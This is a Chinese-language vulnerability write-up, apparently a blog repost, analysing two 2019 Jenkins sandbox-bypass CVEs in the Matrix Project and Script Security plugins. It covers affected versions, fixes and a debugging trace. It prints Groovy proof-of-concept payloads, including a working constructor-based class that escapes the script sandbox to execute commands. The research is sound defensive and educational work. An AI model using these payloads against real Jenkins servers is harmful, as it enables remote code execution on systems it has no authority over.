CVE-2019-1003031:[Jenkins]Matrix Project Plugin沙箱绕过漏洞

释放双眼,带上耳机,听听看~!

[1] CVE-2019-1003031:[Jenkins]Matrix Project Plugin 沙箱绕过

Matrix Project插件用于构建“多配置项目”,如多环境测试、平台指定构建等。
在其配置过程中接受用户指定的Groovy Script,在Matrix Project Plugin <= 1.13中存在沙箱被绕过的漏洞。
影响版本:Matrix Project Plugin <= 1.13
利用条件:具有Job/Configure 权限的用户
修复建议:升级到1.14或以上
参考:
https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339
https://nvd.nist.gov/vuln/detail/CVE-2019-1003031

[2] CVE-2019-1003029:[Jenkins]Script Security Plugin 沙箱绕过

Script Security插件集成在Jenkins的各种功能插件(比如Matrix Project插件)中,可以用来管理普通用户执行Groovy脚本的权限。
Jenkins的Script Security插件 <= 1.53中存在沙箱被绕过的漏洞。
影响版本:Script Security Plugin <= 1.53
利用条件:具有Overall/Read 权限的用户
修复建议:升级到1.54或以上(考虑到CVE-2019-1003040,需升级到1.56或以上)
参考:
https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1336
https://nvd.nist.gov/vuln/detail/CVE-2019-1003029

前一段时间,Jenkins官方的安全通告报了好几个严重漏洞,但是可能大家在狂欢Orange大佬的那个未授权RCE
看了Matrix Project Plugin相关的介绍
得知这个插件是在创建Job的时候,选择项目类型的地方体现的:

通过查看各个项的帮助信息,找到了输入Groovy脚本的地方:

在准备利用Matrix Project Plugin漏洞的时候,发现自己输入的脚本要么是格式不对,要么是碰到了Groovy脚本安全性检查,也就是某些方法或者关键字不允许使用。

先是试了这个payload:

(new java.lang.ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator").start())==""

然而发现不能调用ProcessBuilder:

后来又用了:

("".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("/Applications/Calculator.app/Contents/MacOS/Calculator"))==""

结果:

联想到之前Orange在博客里说的,需结合几个漏洞来利用,突然明白,由于Script Security插件就是对Jenkins的各种用到了Groovy脚本功能处进行安全检查的,所以需结合这个Script Security检查绕过漏洞CVE-2019-1003029来实现代码执行。

后来翻了一下Orange的博客下的评论。这里评论说,其实并不一定要用Meta Programming来实现,CVE-2019-1003029的作者webpentest给出了绕过方法:

public class Tst {
public Tst()
"your cmd here".execute()
}
}

有时候修复漏洞的commit中的test也可以给我们一些信息,因为作者修复了一个漏洞,需要写一个test来验证这个漏洞是否真的修复了。


两个地方都提到了DoNotRunConstructor。看这个类名:DoNotRunConstructor(不执行构造器)
猜测这里主要是验证这个构造器里的代码不会被执行。可以验证webpentest的思路其实就是在类的构造器里执行代码,而不是反射或者Runtime、new之类的方式。


我在使用的时候,发现public关键字不能使用,于是去掉了public,改成了:

class poc{
poc(){
"/Applications/Calculator.app/Contents/MacOS/Calculator".execute()
}
}

Demo

具有Job/Configure 权限的用户登录,然后新建一个Job,选择构建一个多配置项目,点击OK,然后在接下来的

调试

环境:

  • Jenkins:1.150.3
  • Matrix Project Plugin:1.13
  • Script Security Plugin:1.53

根据commit的和漏洞描述,在hudson/matrix/FilterScript.javaevaluate()方法下断点。

POST /jenkins_2_150_3/job/cqq/configSubmit

调用栈为:

parse:117, FilterScript (hudson.matrix)
parse:105, FilterScript (hudson.matrix)
evalGroovyExpression:101, Combination (hudson.matrix)
evalGroovyExpression:91, Combination (hudson.matrix)
rebuildConfigurations:658, MatrixProject (hudson.matrix)
submit:959, MatrixProject (hudson.matrix)
doConfigSubmit:1350, Job (hudson.model)
doConfigSubmit:772, AbstractProject (hudson.model)


其中combinationFilter参数的值为我们指定的payload。


这里就到了groovy.lang.GroovyShell#parse(String)了。注意这里只是解析传入的字符串脚本,然后返回相应的groovy.lang.Script对象。

Parses the given script and returns it ready to be run

参考:Groovy官方文档)

参考

https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
https://www.lucifaer.com/2019/03/04/Jenkins%20RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2018-1000861%E5%88%86%E6%9E%90%EF%BC%89/

本文来自先知社区

人已赞赏
安全教程

CVE-2017-11176: 一步一步linux内核漏洞利用 (一)(System Tap)

2019-11-25 20:04:16

安全教程

Apache Traffic服务器安全:HTTP Smuggling攻击

2019-11-25 20:04:19

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索